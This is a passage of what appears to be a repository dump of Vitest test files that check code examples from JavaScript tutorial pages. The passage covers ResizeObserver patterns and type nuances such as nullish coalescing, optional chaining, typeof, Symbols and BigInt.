expect(callbackCount).toBe(1) // Still 1\n      \n      // Third call with different size - should process\n      expect(handleResize(element, 120)).toBe(true)\n      expect(callbackCount).toBe(2)\n    })\n\n    // From lines ~485-510: Solution 3 - Modify other elements\n    it('should demonstrate safe pattern of modifying other elements', () => {\n      const observedElement = { id: 'observed' }\n      const labelElement = { textContent: '' }\n\n      function safeResizeHandler(entry) {\n        // Safe: Change a different element, not the observed one\n        const width = entry.contentRect.width\n        const height = entry.contentRect.height\n        labelElement.textContent = `${width} x ${height}`\n      }\n\n      const mockEntry = {\n        target: observedElement,\n        contentRect: { width: 300, height: 200 }\n      }\n\n      safeResizeHandler(mockEntry)\n      \n      expect(labelElement.textContent).toBe('300 x 200')\n      // observedElement is unchanged - no infinite loop\n    })\n  })\n\n  // ============================================================\n  // PERFORMANCE PATTERNS\n  // From resize-observer.mdx lines ~515-580\n  // ============================================================\n\n  describe('Performance Best Practices', () => {\n    // From lines ~520-540: Reuse observers\n    it('should demonstrate shared observer pattern', () => {\n      const elements = ['el1', 'el2', 'el3']\n      \n      // Good pattern: One observer for multiple elements\n      const goodObserver = {\n        observedTargets: [],\n        observe(el) { this.observedTargets.push(el) }\n      }\n      \n      elements.forEach(el => goodObserver.observe(el))\n      \n      // One observer watching 3 elements = efficient\n      expect(goodObserver.observedTargets.length).toBe(3)\n    })\n\n    // From lines ~555-580: Debounce expensive operations\n    it('should implement debounce pattern', async () => {\n      let operationCount = 0\n      let timeoutId\n\n      function debounced(callback, delay) {\n        return function() {\n          clearTimeout(timeoutId)\n          timeoutId = setTimeout(callback, delay)\n        }\n      }\n\n      const expensiveOperation = debounced(() => {\n        operationCount++\n      }, 50)\n\n      // Rapid calls\n      expensiveOperation()\n      expensiveOperation()\n      expensiveOperation()\n      \n      // Wait for debounce\n      await new Promise(resolve => setTimeout(resolve, 100))\n      \n      // Only one execution\n      expect(operationCount).toBe(1)\n    })\n  })\n\n  describe('Memory Management', () => {\n    // From lines ~580-600: Cleanup pattern\n    it('should demonstrate cleanup pattern', () => {\n      let isDisconnected = false\n      \n      class ResizableComponent {\n        constructor() {\n          this.observer = {\n            observe: vi.fn(),\n            disconnect: () => { isDisconnected = true }\n          }\n        }\n        \n        destroy() {\n          this.observer.disconnect()\n          this.observer = null\n        }\n      }\n\n      const component = new ResizableComponent()\n      expect(isDisconnected).toBe(false)\n      expect(component.observer).not.toBeNull()\n      \n      component.destroy()\n      expect(isDisconnected).toBe(true)\n      expect(component.observer).toBeNull()\n    })\n  })\n\n  // ============================================================\n  // FEATURE DETECTION\n  // From resize-observer.mdx lines ~605-635\n  // ============================================================\n\n  describe('Browser Support', () => {\n    // From lines ~625-635: Feature detection pattern\n    it('should demonstrate feature detection', () => {\n      // Simulate environments\n      const browserWithRO = { ResizeObserver: function() {} }\n      const browserWithoutRO = {}\n\n      function hasResizeObserver(win) {\n        return 'ResizeObserver' in win\n      }\n\n      expect(hasResizeObserver(browserWithRO)).toBe(true)\n      expect(hasResizeObserver(browserWithoutRO)).toBe(false)\n    })\n  })\n\n  // ============================================================\n  // COMPARISON WITH OTHER APPROACHES\n  // From resize-observer.mdx lines ~640-665\n  // ============================================================\n\n  describe('ResizeObserver vs Other Approaches', () => {\n    // From lines ~640-665: Comparison table concepts\n    it('should understand when each approach is appropriate', () => {\n      const approaches = {\n        windowResize: {\n          when: 'viewport resize only',\n          efficiency: 'good',\n          useCase: 'Global layout changes'\n        },\n        resizeObserver: {\n          when: 'any element size change',\n          efficiency: 'excellent',\n          useCase: 'Per-element responsive behavior'\n        },\n        mutationObserver: {\n          when: 'DOM mutations',\n          efficiency: 'good',\n          useCase: 'Watching for added/removed elements'\n        },\n        polling: {\n          when: 'on interval',\n          efficiency: 'poor',\n          useCase: 'Avoid if possible'\n        }\n      }\n\n      expect(approaches.resizeObserver.efficiency).toBe('excellent')\n      expect(approaches.polling.efficiency).toBe('poor')\n    })\n  })\n\n  // ============================================================\n  // COMMON MISTAKES\n  // From resize-observer.mdx lines ~670-750\n  // ============================================================\n\n  describe('Common Mistakes', () => {\n    // From lines ~675-695: Mistake 1 - Forgetting to disconnect\n    it('should demonstrate proper cleanup return pattern', () => {\n      const cleanedUp = []\n      \n      // Good pattern: Return observer for cleanup\n      function attachObserver(element) {\n        const observer = {\n          target: element,\n          disconnect: () => { cleanedUp.push(element) }\n        }\n        return observer\n      }\n\n      const obs1 = attachObserver('el1')\n      const obs2 = attachObserver('el2')\n      \n      // Caller can disconnect when done\n      obs1.disconnect()\n      expect(cleanedUp).toContain('el1')\n      expect(cleanedUp).not.toContain('el2')\n      \n      obs2.disconnect()\n      expect(cleanedUp).toContain('el2')\n    })\n\n    // From lines ~700-715: Mistake 2 - Accessing contentBoxSize incorrectly\n    it('should demonstrate correct contentBoxSize access', () => {\n      const mockEntry = {\n        contentBoxSize: [{\n          inlineSize: 200,\n          blockSize: 100\n        }]\n      }\n\n      // WRONG: contentBoxSize.inlineSize (undefined)\n      expect(mockEntry.contentBoxSize.inlineSize).toBeUndefined()\n      \n      // CORRECT: contentBoxSize[0].inlineSize\n      expect(mockEntry.contentBoxSize[0].inlineSize).toBe(200)\n    })\n\n    // From lines ~720-740: Mistake 3 - Initial callback behavior\n    it('should handle initial callback', () => {\n      let callCount = 0\n      let isFirstCall = true\n\n      function handleResize(entries) {\n        if (isFirstCall) {\n          isFirstCall = false\n          return // Skip initial measurement\n        }\n        callCount++\n      }\n\n      // First call (initial measurement on observe())\n      handleResize([{ target: 'el' }])\n      expect(callCount).toBe(0) // Skipped\n\n      // Subsequent calls\n      handleResize([{ target: 'el' }])\n      expect(callCount).toBe(1)\n\n      handleResize([{ target: 'el' }])\n      expect(callCount).toBe(2)\n    })\n  })\n\n  // ============================================================\n  // KEY TAKEAWAYS VALIDATION\n  // From resize-observer.mdx lines ~755-810\n  // ============================================================\n\n  describe('Key Takeaways', () => {\n    // Takeaway 1: ResizeObserver watches individual elements\n    it('should understand ResizeObserver vs window.resize', () => {\n      // window.resize: Only viewport changes\n      // ResizeObserver: Any element size change\n      \n      const causes = [\n        'viewport resize',\n        'content change',\n        'CSS animation',\n        'sibling resize',\n        'parent resize'\n      ]\n      \n      const windowResizeDetects = ['viewport resize']\n      const resizeObserverDetects = causes // All of them\n      \n      expect(windowResizeDetects.length).toBe(1)\n      expect(resizeObserverDetects.length).toBe(5)\n    })\n\n    // Takeaway 6: ResizeObserver fires immediately\n    it('should understand initial callback behavior', () => {\n      // ResizeObserver callback fires immediately when you start observing\n      const callLog = []\n      \n      function mockObserve(callback) {\n        // Simulates ResizeObserver behavior\n        callback([{ target: 'element' }]) // Immediate callback\n      }\n      \n      mockObserve((entries) => {\n        callLog.push('callback fired')\n      })\n      \n      // Callback fired immediately on observe\n      expect(callLog.length).toBe(1)\n    })\n\n    // Takeaway 9: contentBoxSize is an array\n    it('should understand why contentBoxSize is an array', () => {\n      // Array to support future multi-fragment elements (e.g., multi-column layouts)\n      const mockEntry = {\n        contentBoxSize: [{ inlineSize: 100, blockSize: 50 }],\n        borderBoxSize: [{ inlineSize: 120, blockSize: 70 }]\n      }\n\n      // Currently always one element, but use [0] to access\n      expect(mockEntry.contentBoxSize.length).toBe(1)\n      expect(mockEntry.borderBoxSize.length).toBe(1)\n      \n      const width = mockEntry.contentBoxSize[0].inlineSize\n      expect(width).toBe(100)\n    })\n  })\n\n  // ============================================================\n  // TEST YOUR KNOWLEDGE VALIDATION\n  // From resize-observer.mdx lines ~815-920\n  // ============================================================\n\n  describe('Test Your Knowledge', () => {\n    // Question 1: contentRect vs contentBoxSize\n    it('Q1: should understand difference between contentRect and contentBoxSize', () => {\n      const mockEntry = {\n        // contentRect - DOMRectReadOnly with x, y, width, height, top, left, right, bottom\n        contentRect: {\n          width: 200,\n          height: 100,\n          top: 10,\n          left: 10,\n          x: 10,\n          y: 10,\n          right: 210,\n          bottom: 110\n        },\n        // contentBoxSize - Array of ResizeObserverSize with inlineSize, blockSize\n        contentBoxSize: [{\n          inlineSize: 200,  // Handles writing modes\n          blockSize: 100\n        }]\n      }\n\n      // contentRect has more properties\n      expect(Object.keys(mockEntry.contentRect).length).toBeGreaterThan(2)\n      \n      // contentBoxSize handles writing modes via inline/block\n      expect(mockEntry.contentBoxSize[0]).toHaveProperty('inlineSize')\n      expect(mockEntry.contentBoxSize[0]).toHaveProperty('blockSize')\n    })\n\n    // Question 4: How to observe border-box\n    it('Q4: should understand border-box observation option', () => {\n      const options = { box: 'border-box' }\n      \n      expect(options.box).toBe('border-box')\n      \n      // The borderBoxSize would then be the relevant property\n      const mockEntry = {\n        borderBoxSize: [{ inlineSize: 220, blockSize: 120 }]\n      }\n      \n      expect(mockEntry.borderBoxSize[0].inlineSize).toBe(220)\n    })\n\n    // Question 5: Cleanup methods\n    it('Q5: should understand cleanup methods', () => {\n      const unobservedElements = []\n      let disconnected = false\n      \n      const mockObserver = {\n        unobserve: (el) => unobservedElements.push(el),\n        disconnect: () => { disconnected = true }\n      }\n\n      // unobserve - stops watching specific element\n      mockObserver.unobserve('element1')\n      expect(unobservedElements).toContain('element1')\n      expect(disconnected).toBe(false)\n      \n      // disconnect - stops watching ALL elements\n      mockObserver.disconnect()\n      expect(disconnected).toBe(true)\n    })\n\n    // Question 6: Why contentBoxSize is an array\n    it('Q6: should explain contentBoxSize array structure', () => {\n      // Arrays support future multi-fragment elements\n      // (e.g., element split across columns in multi-column layout)\n      \n      // Current behavior: always one element\n      const entry = {\n        contentBoxSize: [{ inlineSize: 100, blockSize: 50 }]\n      }\n      \n      expect(entry.contentBoxSize.length).toBe(1)\n      \n      // Future behavior might include multiple fragments:\n      const futureEntry = {\n        contentBoxSize: [\n          { inlineSize: 100, blockSize: 50 },  // Fragment in column 1\n          { inlineSize: 100, blockSize: 30 }   // Fragment in column 2\n        ]\n      }\n      \n      expect(futureEntry.contentBoxSize.length).toBe(2)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/type-system/javascript-type-nuances/javascript-type-nuances.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\n/**\n * Tests for JavaScript Type Nuances concept page\n * Source: /docs/beyond/concepts/javascript-type-nuances.mdx\n */\n\ndescribe('JavaScript Type Nuances', () => {\n  describe('Opening Hook Code Example (lines 9-22)', () => {\n    it('should demonstrate undefined vs null declaration', () => {\n      // Source: lines 11-12\n      let user              // undefined — not initialized\n      let data = null       // null — intentionally empty\n\n      expect(user).toBe(undefined)\n      expect(data).toBe(null)\n    })\n\n    it('should show typeof quirk for null', () => {\n      // Source: lines 14-15\n      expect(typeof null).toBe('object')       // a famous bug!\n      expect(typeof undefined).toBe('undefined')\n    })\n\n    it('should demonstrate || vs ?? with falsy values', () => {\n      // Source: lines 17-18\n      expect(0 || 'fallback').toBe('fallback')  // but 0 is valid!\n      expect(0 ?? 'fallback').toBe(0)           // nullish coalescing saves the day\n    })\n\n    it('should create unique Symbol and BigInt', () => {\n      // Source: lines 20-21\n      const id = Symbol('id')\n      const huge = 9007199254740993n\n\n      expect(typeof id).toBe('symbol')\n      expect(huge).toBe(9007199254740993n)\n    })\n  })\n\n  describe('null vs undefined: When JavaScript Returns undefined (lines 90-115)', () => {\n    it('should return undefined for uninitialized variables', () => {\n      // Source: lines 92-93\n      let name\n      expect(name).toBe(undefined)\n    })\n\n    it('should return undefined for missing object properties', () => {\n      // Source: lines 96-97\n      const user = { name: 'Alice' }\n      expect(user.age).toBe(undefined)\n    })\n\n    it('should return undefined for functions without return', () => {\n      // Source: lines 100-104\n      function greet() {\n        // no return statement\n      }\n      expect(greet()).toBe(undefined)\n    })\n\n    it('should return undefined for missing function parameters', () => {\n      // Source: lines 107-110\n      function sayHi(name) {\n        return name\n      }\n      expect(sayHi()).toBe(undefined)\n    })\n\n    it('should return undefined for array holes', () => {\n      // Source: lines 113-114\n      const sparse = [1, , 3]\n      expect(sparse[1]).toBe(undefined)\n    })\n  })\n\n  describe('null vs undefined: When to Use null (lines 117-142)', () => {\n    it('should use null to intentionally clear a value', () => {\n      // Source: lines 123-124\n      let currentUser = { name: 'Alice' }\n      currentUser = null  // User logged out\n      expect(currentUser).toBe(null)\n    })\n\n    it('should use null in API responses for missing data', () => {\n      // Source: lines 127-130\n      const response = {\n        user: null,   // User not found, but the field exists\n        error: null   // No error occurred\n      }\n      expect(response.user).toBe(null)\n      expect(response.error).toBe(null)\n    })\n\n    it('should return null for end of prototype chain', () => {\n      // Source: line 136\n      expect(Object.getPrototypeOf(Object.prototype)).toBe(null)\n    })\n\n    it('should use null for optional parameters with default values', () => {\n      // Source: lines 139-141\n      function createUser(name, email = null) {\n        return { name, email }\n      }\n      const user = createUser('Alice')\n      expect(user.email).toBe(null)\n    })\n  })\n\n  describe('null vs undefined: Comparing behavior (lines 158-174)', () => {\n    it('should show equality quirks between null and undefined', () => {\n      // Source: lines 160-161\n      expect(null == undefined).toBe(true)    // loose equality\n      expect(null === undefined).toBe(false)  // strict equality\n    })\n\n    it('should show type checking differences', () => {\n      // Source: lines 164-165\n      expect(typeof null).toBe('object')       // historical bug!\n      expect(typeof undefined).toBe('undefined')\n    })\n\n    it('should show numeric coercion differences', () => {\n      // Source: lines 168-169\n      expect(null + 1).toBe(1)         // null becomes 0\n      expect(Number.isNaN(undefined + 1)).toBe(true)  // undefined becomes NaN\n    })\n\n    it('should omit undefined properties in JSON serialization', () => {\n      // Source: lines 172-173\n      const result = JSON.stringify({ a: null, b: undefined })\n      expect(result).toBe('{\"a\":null}')  // undefined properties are skipped!\n    })\n  })\n\n  describe('null vs undefined: Checking for Both (lines 178-195)', () => {\n    it('should check for both using loose equality', () => {\n      // Source: lines 184-186\n      const checkValue = (value) => {\n        if (value == null) {\n          return 'No value'\n        }\n        return 'Has value'\n      }\n\n      expect(checkValue(null)).toBe('No value')\n      expect(checkValue(undefined)).toBe('No value')\n      expect(checkValue(0)).toBe('Has value')\n      expect(checkValue('')).toBe('Has value')\n    })\n\n    it('should provide default with nullish coalescing', () => {\n      // Source: line 194\n      const getValue = (value) => value ?? 'default'\n\n      expect(getValue(null)).toBe('default')\n      expect(getValue(undefined)).toBe('default')\n      expect(getValue(0)).toBe(0)\n      expect(getValue('')).toBe('')\n    })\n  })\n\n  describe('Short-Circuit: Logical OR || (lines 207-232)', () => {\n    it('should return first truthy value', () => {\n      // Source: lines 212-217\n      expect('hello' || 'default').toBe('hello')\n      expect('' || 'default').toBe('default')        // empty string is falsy\n      expect(0 || 42).toBe(42)                        // 0 is falsy!\n      expect(null || 'fallback').toBe('fallback')\n      expect(undefined || 'fallback').toBe('fallback')\n    })\n\n    it('should show the problem with || treating all falsy values as triggers', () => {\n      // Source: lines 229-231\n      const userCount = 0\n      const userName = ''\n\n      expect(userCount || 10).toBe(10)        // If userCount is 0, you get 10!\n      expect(userName || 'Guest').toBe('Guest')  // If userName is '', you get 'Guest'!\n    })\n  })\n\n  describe('Short-Circuit: Logical AND && (lines 234-248)', () => {\n    it('should return first falsy value or last value if all truthy', () => {\n      // Source: lines 239-243\n      expect(true && 'hello').toBe('hello')   // both truthy, returns last\n      expect('hello' && 42).toBe(42)\n      expect(null && 'hello').toBe(null)      // first falsy\n      expect(0 && 'hello').toBe(0)            // first falsy\n    })\n\n    it('should enable conditional execution pattern', () => {\n      // Source: lines 246-247\n      const user = { name: 'Alice' }\n      expect(user && user.name).toBe('Alice')\n\n      const noUser = null\n      expect(noUser && noUser.name).toBe(null)\n    })\n  })\n\n  describe('Short-Circuit: Nullish Coalescing ?? (lines 250-265)', () => {\n    it('should only fall back on null/undefined, not other falsy values', () => {\n      // Source: lines 256-260\n      expect(0 ?? 42).toBe(0)                     // 0 is NOT nullish!\n      expect('' ?? 'default').toBe('')            // empty string is NOT nullish!\n      expect(false ?? true).toBe(false)\n      expect(null ?? 'fallback').toBe('fallback')\n      expect(undefined ?? 'fallback').toBe('fallback')\n    })\n\n    it('should safely handle 0 and empty string as valid values', () => {\n      // Source: lines 263-264\n      const userCount = 0\n      const userName = ''\n\n      expect(userCount ?? 10).toBe(0)          // 0 stays as 0\n      expect(userName ?? 'Guest').toBe('')     // '' stays as ''\n    })\n  })\n\n  describe('Short-Circuit: Optional Chaining ?. (lines 302-336)', () => {\n    it('should safely access nested properties', () => {\n      // Source: lines 307-318\n      const user = {\n        name: 'Alice',\n        address: {\n          city: 'Wonderland'\n        }\n      }\n\n      expect(user?.address?.city).toBe('Wonderland')\n    })\n\n    it('should return undefined for null/undefined instead of throwing', () => {\n      // Source: lines 321-323\n      const nullUser = null\n      expect(nullUser?.name).toBe(undefined)           // no error!\n      expect(nullUser?.address?.city).toBe(undefined)  // no error!\n    })\n\n    it('should work with arrays', () => {\n      // Source: lines 326-328\n      const users = [{ name: 'Alice' }]\n      expect(users?.[0]?.name).toBe('Alice')\n      expect(users?.[99]?.name).toBe(undefined)\n    })\n\n    it('should work with function calls', () => {\n      // Source: lines 331-335\n      const api = {\n        getUser: () => ({ name: 'Alice' })\n      }\n      expect(api.getUser?.()).toEqual({ name: 'Alice' })\n      expect(api.nonexistent?.()).toBe(undefined)  // no error!\n    })\n  })\n\n  describe('Short-Circuit: Combining ?? and ?. (lines 339-361)', () => {\n    it('should get deeply nested value with a default', () => {\n      // Source: line 344\n      const user = { settings: { theme: 'dark' } }\n      expect(user?.settings?.theme ?? 'light').toBe('dark')\n\n      const userNoSettings = {}\n      expect(userNoSettings?.settings?.theme ?? 'light').toBe('light')\n    })\n\n    it('should provide safe function call with default return', () => {\n      // Source: line 347\n      const api = {\n        getData: () => [1, 2, 3]\n      }\n      expect(api.getData?.() ?? []).toEqual([1, 2, 3])\n\n      const noApi = {}\n      expect(noApi.getData?.() ?? []).toEqual([])\n    })\n\n    it('should respect explicit 0 when using ?? with ?.', () => {\n      // Source: lines 350-360\n      const config = {\n        api: {}\n      }\n\n      expect(config?.api?.timeout ?? 5000).toBe(5000)  // no timeout set\n\n      config.api.timeout = 0\n      expect(config?.api?.timeout ?? 5000).toBe(0)    // respects the explicit 0\n    })\n  })\n\n  describe('typeof Operator: Basic Usage (lines 369-387)', () => {\n    it('should return correct type strings for primitives', () => {\n      // Source: lines 372-378\n      expect(typeof 'hello').toBe('string')\n      expect(typeof 42).toBe('number')\n      expect(typeof 42n).toBe('bigint')\n      expect(typeof true).toBe('boolean')\n      expect(typeof undefined).toBe('undefined')\n      expect(typeof Symbol('id')).toBe('symbol')\n    })\n\n    it('should return object or function for non-primitives', () => {\n      // Source: lines 381-386\n      expect(typeof {}).toBe('object')\n      expect(typeof []).toBe('object')           // arrays are objects!\n      expect(typeof new Date()).toBe('object')\n      expect(typeof /regex/).toBe('object')\n      expect(typeof function(){}).toBe('function')  // special case\n      expect(typeof class {}).toBe('function')      // classes are functions\n    })\n  })\n\n  describe('typeof Operator: The null Bug (lines 389-410)', () => {\n    it('should demonstrate typeof null returns object', () => {\n      // Source: line 394\n      expect(typeof null).toBe('object')  // NOT 'null'!\n    })\n\n    it('should show correct way to check for null', () => {\n      // Source: lines 402-409\n      const value = null\n\n      // ❌ Wrong — typeof doesn't work for null\n      expect(typeof value === 'null').toBe(false)  // Never true!\n\n      // ✓ Correct — direct comparison\n      expect(value === null).toBe(true)\n\n      // ✓ Also correct — check both null and undefined\n      expect(value == null).toBe(true)\n    })\n  })\n\n  describe('typeof Operator: Undeclared Variables (lines 412-431)', () => {\n    it('should return undefined for undeclared variables safely', () => {\n      // Source: lines 420-421\n      expect(typeof undeclaredVar).toBe('undefined')\n    })\n\n    it('should enable feature detection', () => {\n      // Source: lines 424-429 (testing in Node.js environment)\n      expect(typeof process !== 'undefined').toBe(true)  // Running in Node.js\n    })\n  })\n\n  describe('typeof Operator: Better Type Checking (lines 460-489)', () => {\n    it('should use Array.isArray for arrays', () => {\n      // Source: lines 465-467\n      expect(Array.isArray([1, 2, 3])).toBe(true)\n      expect(Array.isArray('hello')).toBe(false)\n    })\n\n    it('should use Object.prototype.toString for precise type checking', () => {\n      // Source: lines 473-477\n      expect(Object.prototype.toString.call({})).toBe('[object Object]')\n      expect(Object.prototype.toString.call([])).toBe('[object Array]')\n      expect(Object.prototype.toString.call(null)).toBe('[object Null]')\n      expect(Object.prototype.toString.call(undefined)).toBe('[object Undefined]')\n      expect(Object.prototype.toString.call(new Date())).toBe('[object Date]')\n    })\n\n    it('should use helper function for precise type checking', () => {\n      // Source: lines 480-488\n      function getType(value) {\n        return Object.prototype.toString.call(value).slice(8, -1).toLowerCase()\n      }\n\n      expect(getType(null)).toBe('null')\n      expect(getType([])).toBe('array')\n      expect(getType({})).toBe('object')\n      expect(getType(new Date())).toBe('date')\n      expect(getType(/regex/)).toBe('regexp')\n    })\n  })\n\n  describe('instanceof Operator (lines 493-543)', () => {\n    it('should check prototype chain for class instances', () => {\n      // Source: lines 500-508\n      class Animal {}\n      class Dog extends Animal {}\n\n      const buddy = new Dog()\n\n      expect(buddy instanceof Dog).toBe(true)\n      expect(buddy instanceof Animal).toBe(true)     // inheritance chain\n      expect(buddy instanceof Object).toBe(true)     // everything inherits from Object\n      expect(buddy instanceof Array).toBe(false)\n    })\n\n    it('should work with built-in constructors', () => {\n      // Source: lines 511-515\n      expect([] instanceof Array).toBe(true)\n      expect({} instanceof Object).toBe(true)\n      expect(new Date() instanceof Date).toBe(true)\n      expect(/regex/ instanceof RegExp).toBe(true)\n    })\n\n    it('should return false for primitives', () => {\n      // Source: lines 517-518\n      expect('hello' instanceof String).toBe(false)  // primitive, not String object\n      expect(42 instanceof Number).toBe(false)       // primitive, not Number object\n    })\n\n    it('should check prototype chain using isPrototypeOf', () => {\n      // Source: lines 526-539\n      class Animal {\n        speak() { return 'Some sound' }\n      }\n\n      class Dog extends Animal {\n        speak() { return 'Woof!' }\n      }\n\n      const buddy = new Dog()\n\n      expect(Dog.prototype.isPrototypeOf(buddy)).toBe(true)\n      expect(Animal.prototype.isPrototypeOf(buddy)).toBe(true)\n    })\n  })\n\n  describe('instanceof with Symbol.hasInstance (lines 545-578)', () => {\n    it('should customize instanceof behavior with Symbol.hasInstance', () => {\n      // Source: lines 551-561\n      class Duck {\n        static [Symbol.hasInstance](instance) {\n          return instance?.quack !== undefined\n        }\n      }\n\n      const mallard = { quack: () => 'Quack!' }\n      const dog = { bark: () => 'Woof!' }\n\n      expect(mallard instanceof Duck).toBe(true)   // has quack method\n      expect(dog instanceof Duck).toBe(false)      // no quack method\n    })\n\n    it('should validate data shapes with Symbol.hasInstance', () => {\n      // Source: lines 564-577\n      class ValidUser {\n        static [Symbol.hasInstance](obj) {\n          return obj !== null &&\n                 typeof obj === 'object' &&\n                 typeof obj.id === 'number' &&\n                 typeof obj.email === 'string'\n        }\n      }\n\n      const user = { id: 1, email: 'alice@example.com' }\n      const invalid = { name: 'Bob' }\n\n      expect(user instanceof ValidUser).toBe(true)\n      expect(invalid instanceof ValidUser).toBe(false)\n    })\n  })\n\n  describe('Symbols: Creating and Using (lines 592-639)', () => {\n    it('should create unique symbols even with same description', () => {\n      // Source: lines 600-605\n      const id = Symbol('id')\n      const anotherId = Symbol('id')\n\n      expect(id === anotherId).toBe(false)  // different symbols\n      expect(id === id).toBe(true)          // same symbol\n    })\n\n    it('should have accessible description', () => {\n      // Source: lines 608-609\n      const id = Symbol('id')\n      expect(id.description).toBe('id')\n    })\n\n    it('should solve property name collision problem', () => {\n      // Source: lines 616-631\n      const user = {\n        id: 123,\n        name: 'Alice'\n      }\n\n      const internalId = Symbol('internal-id')\n      user[internalId] = 'library-internal-id'\n\n      expect(user.id).toBe(123)                         // original preserved\n      expect(user[internalId]).toBe('library-internal-id')\n    })\n\n    it('should hide symbols from normal iteration', () => {\n      // Source: lines 634-638\n      const secret = Symbol('secret')\n      const user = {\n        id: 123,\n        name: 'Alice',\n        [secret]: 'hidden'\n      }\n\n      expect(Object.keys(user)).toEqual(['id', 'name'])  // no symbol!\n      expect(JSON.stringify(user)).toBe('{\"id\":123,\"name\":\"Alice\"}')  // no symbol!\n    })\n\n    it('should access symbols with Object.getOwnPropertySymbols', () => {\n      // Source: line 638\n      const secret = Symbol('secret')\n      const user = {\n        visible: 'hello',\n        [secret]: 'hidden'\n      }\n\n      const symbols = Object.getOwnPropertySymbols(user)\n      expect(symbols.length).toBe(1)\n      expect(user[symbols[0]]).toBe('hidden')\n    })\n  })\n\n  describe('Symbols: Global Registry (lines 641-659)', () => {\n    it('should create/retrieve global symbols with Symbol.for', () => {\n      // Source: lines 646-651\n      const globalId = Symbol.for('app.userId')\n      const sameId = Symbol.for('app.userId')\n\n      expect(globalId === sameId).toBe(true)\n    })\n\n    it('should get key from global symbol with Symbol.keyFor', () => {\n      // Source: lines 654-658\n      const globalId = Symbol.for('app.userId')\n      expect(Symbol.keyFor(globalId)).toBe('app.userId')\n\n      const localId = Symbol('local')\n      expect(Symbol.keyFor(localId)).toBe(undefined)\n    })\n  })\n\n  describe('Symbols: Well-Known Symbols (lines 661-710)', () => {\n    it('should customize iteration with Symbol.iterator', () => {\n      // Source: lines 667-686\n      const range = {\n        start: 1,\n        end: 5,\n        [Symbol.iterator]() {\n          let current = this.start\n          const end = this.end\n          return {\n            next() {\n              if (current <= end) {\n                return { value: current++, done: false }\n              }\n              return { done: true }\n            }\n          }\n        }\n      }\n\n      const values = [...range]\n      expect(values).toEqual([1, 2, 3, 4, 5])\n    })\n\n    it('should customize toString tag with Symbol.toStringTag', () => {\n      // Source: lines 689-695\n      class MyClass {\n        get [Symbol.toStringTag]() {\n          return 'MyClass'\n        }\n      }\n\n      expect(Object.prototype.toString.call(new MyClass())).toBe('[object MyClass]')\n    })\n\n    it('should customize type conversion with Symbol.toPrimitive', () => {\n      // Source: lines 698-709\n      const money = {\n        amount: 100,\n        currency: 'USD',\n        [Symbol.toPrimitive](hint) {\n          if (hint === 'number') return this.amount\n          if (hint === 'string') return `${this.currency} ${this.amount}`\n          return this.amount\n        }\n      }\n\n      expect(+money).toBe(100)              // hint: 'number'\n      expect(`${money}`).toBe('USD 100')    // hint: 'string'\n    })\n  })\n\n  describe('BigInt: Precision Problem (lines 726-743)', () => {\n    it('should show MAX_SAFE_INTEGER limit', () => {\n      // Source: line 735\n      expect(Number.MAX_SAFE_INTEGER).toBe(9007199254740991)\n    })\n\n    it('should demonstrate precision loss beyond safe integer', () => {\n      // Source: line 738\n      expect(9007199254740992 === 9007199254740993).toBe(true)  // they're the same to JS!\n    })\n  })\n\n  describe('BigInt: Creating Values (lines 745-758)', () => {\n    it('should create BigInt with n suffix', () => {\n      // Source: lines 749-750\n      const big = 9007199254740993n\n      expect(big).toBe(9007199254740993n)\n    })\n\n    it('should create BigInt from string', () => {\n      // Source: lines 753-754\n      const alsoBig = BigInt('9007199254740993')\n      const fromNumber = BigInt(42)\n\n      expect(alsoBig).toBe(9007199254740993n)\n      expect(fromNumber).toBe(42n)\n    })\n\n    it('should preserve precision with BigInt', () => {\n      // Source: line 757\n      expect(9007199254740992n === 9007199254740993n).toBe(false)  // correctly different!\n    })\n  })\n\n  describe('BigInt: Operations (lines 760-781)', () => {\n    it('should perform arithmetic operations', () => {\n      // Source: lines 763-772\n      const a = 10n\n      const b = 3n\n\n      expect(a + b).toBe(13n)\n      expect(a - b).toBe(7n)\n      expect(a * b).toBe(30n)\n      expect(a ** b).toBe(1000n)\n    })\n\n    it('should truncate division (no decimals)', () => {\n      // Source: line 774\n      expect(10n / 3n).toBe(3n)  // not 3.333...\n    })\n\n    it('should support remainder operation', () => {\n      // Source: line 777\n      expect(10n % 3n).toBe(1n)\n    })\n\n    it('should support comparison operations', () => {\n      // Source: lines 780-781\n      expect(10n > 3n).toBe(true)\n      expect(10n === 10n).toBe(true)\n    })\n  })\n\n  describe('BigInt: Limitations (lines 783-810)', () => {\n    it('should throw TypeError when mixing BigInt and Number', () => {\n      // Source: line 787\n      expect(() => 10n + 5).toThrow(TypeError)\n    })\n\n    it('should require explicit conversion between BigInt and Number', () => {\n      // Source: lines 790-791\n      expect(10n + BigInt(5)).toBe(15n)\n      expect(Number(10n) + 5).toBe(15)\n    })\n\n    it('should throw TypeError with Math methods', () => {\n      // Source: line 794\n      expect(() => Math.max(1n, 2n)).toThrow(TypeError)\n    })\n\n    it('should use comparison operators instead of Math methods', () => {\n      // Source: line 797\n      expect(1n > 2n ? 1n : 2n).toBe(2n)\n    })\n\n    it('should throw TypeError with unary +', () => {\n      // Source: line 800\n      expect(() => +10n).toThrow(TypeError)\n    })\n\n    it('should throw TypeError when serializing BigInt to JSON', () => {\n      // Source: line 806\n      expect(() => JSON.stringify({ id: 10n })).toThrow(TypeError)\n    })\n\n    it('should convert BigInt to string for JSON serialization', () => {\n      // Source: line 809\n      expect(JSON.stringify({ id: 10n.toString() })).toBe('{\"id\":\"10\"}')\n    })\n  })\n\n  describe('BigInt: Use Cases (lines 812-831)', () => {\n    it('should handle large IDs without precision loss', () => {\n      // Source: line 816\n      const tweetId = 1234567890123456789n\n      expect(tweetId).toBe(1234567890123456789n)\n    })\n\n    it('should handle cryptographic-scale numbers', () => {\n      // Source: line 819\n      const largeKey = 2n ** 256n\n      expect(largeKey > Number.MAX_SAFE_INTEGER).toBe(true)\n    })\n\n    it('should compute factorial without precision loss', () => {\n      // Source: lines 826-829\n      function factorial(n) {\n        if (n <= 1n) return 1n\n        return n * factorial(n - 1n)\n      }\n\n      expect(factorial(20n)).toBe(2432902008176640000n)\n    })\n  })\n\n  describe('Common Mistakes (lines 839-941)', () => {\n    it('should show mistake of using || when ?? is needed', () => {\n      // Source: lines 846-853\n      const userCount = 0\n      const userName = ''\n\n      // ❌ Wrong — loses valid values\n      expect(userCount || 10).toBe(10)\n      expect(userName || 'Guest').toBe('Guest')\n\n      // ✓ Correct — only fallback on null/undefined\n      expect(userCount ?? 10).toBe(0)\n      